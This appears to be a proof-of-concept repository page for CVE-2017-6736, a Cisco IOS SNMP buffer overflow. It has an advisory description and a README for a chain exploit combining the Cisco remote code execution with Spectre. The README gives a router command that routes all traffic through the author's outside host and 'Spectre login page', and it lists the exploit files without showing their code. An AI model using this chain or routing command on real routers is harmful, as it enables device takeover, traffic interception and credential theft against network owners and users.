CVE-2017-6736 PoC — Cisco IOS和IOS XE Simple Network Management Protocol子系统缓冲区错误漏洞

Title:Cisco IOS和IOS XE Simple Network Management Protocol子系统缓冲区错误漏洞 (CVE-2017-6736)
Description:The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE Software contains multiple vulnerabilities that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload. An attacker could exploit these vulnerabilities by sending a crafted SNMP packet to an affected system via IPv4 or IPv6. Only traffic directed to an affected system can be used to exploit these vulnerabilities. The vulnerabilities are due to a buffer overflow condition in the SNMP subsystem of the affected software. The vulnerabilities affect all versions of SNMP - Versions 1, 2c, and 3. To exploit these vulnerabilities via SNMP Version 2c or earlier, the attacker must know the SNMP read-only community string for the affected system. To exploit these vulnerabilities via SNMP Version 3, the attacker must have user credentials for the affected system. A successful exploit could allow the attacker to execute arbitrary code and obtain full control of the affected system or cause the affected system to reload. Customers are advised to apply the workaround as contained in the Workarounds section below. Fixed software information is available via the Cisco IOS Software Checker. All devices that have enabled SNMP and have not explicitly excluded the affected MIBs or OIDs should be considered vulnerable. There are workarounds that address these vulnerabilities.

A POC chain exploit using the recent Cisco SMP exploit (CVE-2017-6736) to chain into Spectre (CVE-2017-5753 and CVE-2017-5715)

# CiscoSpectreTakeover
A **PoC** chain exploit using the recent Cisco SMP exploit (CVE-2017-6736) to chain into Spectre (CVE-2017-5753 and CVE-2017-5715)

[![forthebadge](http://forthebadge.com/images/badges/mom-made-pizza-rolls.svg)](http://forthebadge.com)

## Credits

Cisco RCE Exploit submodule by artkond: https://github.com/artkond/cisco-snmp-rce

JS Spectre Chrome POC by ascendr: https://github.com/ascendr/spectre-chrome

Tested on a Cisco 1841+2600 Router.

After running the RCE exploit. As config, run:

```Router(config)> ip route 0.0.0.0 0.0.0.0 195.20.52.49```

This will force all traffic through the Spectre login page I created. 
At a later date I will add a better version that addresses actually going to websites.

 [4.0K]  /data/pocs/befa4e845aee28f5860eae64ffe1abbc5acdc533
├── [  69]  ciscoCommands.txt
├── [4.0K]  cisco-snmp-rce
├── [1.7K]  connect.png
├── [ 597]  index.html
├── [   9]  landing.html
├── [7.4K]  logo.png
├── [ 736]  README.md
├── [ 373]  readyGo.bat
└── [4.0K]  spectre-chrome

2 directories, 7 files